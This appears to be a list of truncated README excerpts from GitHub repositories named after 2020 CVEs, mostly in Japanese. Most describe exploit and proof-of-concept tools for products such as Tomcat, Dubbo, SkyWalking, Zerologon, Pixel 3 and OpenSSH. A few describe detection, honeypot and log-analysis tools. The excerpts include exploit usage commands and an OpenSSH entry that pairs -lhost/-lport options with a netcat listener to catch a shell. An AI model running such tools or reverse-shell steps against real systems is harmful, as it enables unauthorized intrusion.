xuxueli__xxl-job_CVE-2020-29204_2-2-0

XXL-JOB XXL-JOBは、分散タスクスケジューリングフレームワークです。 -- ホームページ -- はじめに XXL-JOBは、分散タスクスケジューリングフレームワークです。 その中核となる設計目標は、迅速な開発、簡単な学習、軽量さ、拡張のしやすさです。 現在はオープンソース化されており、多くの企業が本番環境で使用している、まさに「...

apache__activemq_CVE-2020-11998_5-15-12

欢迎使用 Apache ActiveMQ Apache ActiveMQ 是一个高性能的、基于 Apache 2.0 许可的消息代理和 JMS 1.1 实现。 快速入门 为帮助您开始使用，请尝试以下链接： 入门 http://activemq.apache.org/version-5-getting-started.html 构建 http://activemq.apache.org/version-5-getting-started.htmlGettingStarted-WindowsSourceInstallation...

CVE-2020-9483

CVE-2020-9483 SQLインジェクション脆弱性のPoCCVE-2020-9483,Apache SkyWalking 使用方法:python3 CVE-2020-9483.py -ip 127.0.0.1 このスクリプトを使用して、SQLインジェクションによりデータベースのバージョンを取得できます。 このスクリプトが気に入ったらスターをクリックしてください。 このPoCが役に立ったと感じたら、スターを付けていただけると幸いです。 結果： XD...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — 脆弱性リサーチ（RAPTOR Loop-Hunt） RAPTOR loop-hunt 手法で実施した、Liferay Portal CE 7.0.3 GA4 （git tag 7.0.3-ga4、コミット b2d7cc68a）のセキュリティ監査: 決定論的リコン → 生ソースを読む25の隔離された生成エージェント → 生ソースから反駁する22の独立した判定エージェント → Docker上の実GA4インスタンスを攻撃する9のライブ検証エージェント。 見出し: root...

root-exploit-pixel3

Pixel 3 ファミリー向けルートエクスプロイト このフォルダには、CVE-2020-0041 向けの bluefrostsecurity PoC を改変したローカル権限昇格エクスプロイトが含まれています。このエクスプロイトは SELinux を無効化し、ルートシェルを起動します。 エクスプロイトは 2020 年 2 月のファームウェア QQ1A.200205.002 を実行している Pixel 3 デバイス向けにハードコードされたオフセットで提供されています。以下の手順に従うことで、任意の Pixel 3 デバイスに適応させることができます。...

cve-2020-1948-poc

cve-2020-1948-poc Apache Dubboのデシリアライゼーションの脆弱性 インストール: pip3 install dubbo-py python3 cve-2020-1948.py デモ...

CVE-2020-9484_Exploit

CVE-2020-9484Exploit Apache Tomcat デシリアライゼーション CVE-2020-9484 のエクスプロイト。RCE に至る可能性があります。 影響を受けるバージョン: Apache Tomcat 10.x exploit.sh exploit.sh your IP your port target IP target port...

CVE-2020-8193

Citrix ADC 脆弱性 CVE リスト https://support.citrix.com/article/CTX276688 if/while コードの追加 https://dmaasland.github.io/posts/citrix.html responsestr = json.dumpsr.headers.dict'store' if r.statuscode == 406 and "Content-Disposition" in responsestr and r.headers"Accept-Ranges" == "bytes" and...

eternalghosttest

Eternalghost ドイツ語 英語 ドイツ語 このリポジトリにはCVE-2020-0796のテストケースが含まれています。 この小さなスクリプトを使用することで、あなたのサーバーが脆弱かどうかを確認できます。スクリプトは、ネゴシエートリクエストを介して、圧縮機能とSMBバージョン3.1.1をチェックします。 このスクリプトの使い方 python3 eternalghost.py IP 回避策 MicrosoftのSMBv3圧縮無効化に関するアドバイザリ - 英語 Set-ItemProperty -Path...

LPE---CVE-2020-0796

使用方法: Pythonがインストールされていることを確認し、poc.pyを実行してください。 Windows カーネル Write-What-Where CVE-2020-0796 エクスプロイト 教育および企業環境でのテストのみを目的としています。 MasterSpl0itは本コードについて一切の責任を負いません。自己責任で使用してください。 書き直されたCVE-2020-0796 ローカル権限昇格 POC。 Alexandre Beaulieuの成果に基づく: https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdd...

packages_apps_settings_AOSP10_r33_CVE-2020-0416

このリポジトリには README がありません。...

CVE-2020-16898-Bad-Neighbor

CVE-2020-16898: Bad Neighbor を検出するシンプルなポリシー スクリプトによって提供される機能は以下のとおりです :: 1 Script checks on heuristic described here: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor/ インストール zeek-pkg install zeek/initconf/CVE-2020-16898-Bad-Neighbor or @load...

CVE-2020-14882_POC

CVE-2020-14882 一括検証 使い方 python3 CVE-2020-14882.py ターゲットをtarget.txtに1行ずつ入れてください 例...

CVE-2020-1472-visualizer

CVE-2020-1472 イベントリーダー v1.1 8/27/2020 このスクリプトは以下のことを行います: 1. 入力ファイルフォルダー内のシステム evtx をスキャンして、イベント 5827、5828、5829、5830、および 5831 の正確なデータフィールドを 582-.CSV にエクスポートします。 2. Excel を呼び出して、生成された 582-.CSV をインポートし、一般的なセキュア RPC 分析シナリオ用のピボットテーブルを作成します。その後、582-.CSV を削除します。 必要に応じて自由に変更してください。...

CVE-2020-29607

CVE-2020-29607 CVE-2020-29607 漏洞利用程序 使用方法...

cve-2020-1938

此存储库没有 README。...

cve-2020-0618

CVE-2020-0618 ハニーポット CVE-2020-0618 SQL Reporting Services RCE の悪用試行を検出して記録します SSRS と同様のコンテンツとヘッダーを提供し、検索エンジン（Google、Shodan など）でのインデックス登録の可能性を高めます 以下の素晴らしい研究に基づいています: MDSec および x1sec インストール コードを入手 Go 環境が準備されていることを確認してください。 git clone https://github.com/wortell/cve-2020-0618 証明書の生成 自己署名証明書を生成: opens...

exploit-CVE-2020-24815

exploit-CVE-2020-24815.py これはCVE-2020-24815に対する私の最初のエクスプロイトです。 urlの後にPOSTパスを入力してください!!!! 例: スクリプトが動作しない場合は、スクリプト内のcookieを変更してください。 $ - pip install -r requirements.txt pdftotextがインストールされていない問題を修正: $ - sudo apt-get install build-essential libpoppler-cpp-dev pkg-config python3-dev...

Zerologon

Zerologon CVE-2020-1472（別名Zerologon）のエクスプロイトコード...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit CVE-2020-15778のExploit OpenSSH脆弱性 例: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 Pythonスクリプトを使用する前に、netcatでポートをリッスンする必要があります。 例: nc -lvp 1234 1. スクリプト使用時のスクリーンショット 2. シェル取得時のスクリーンショット 2021-7-21 更新ログ: python-nmapを使用してホストの状態を確認 Usage:python3...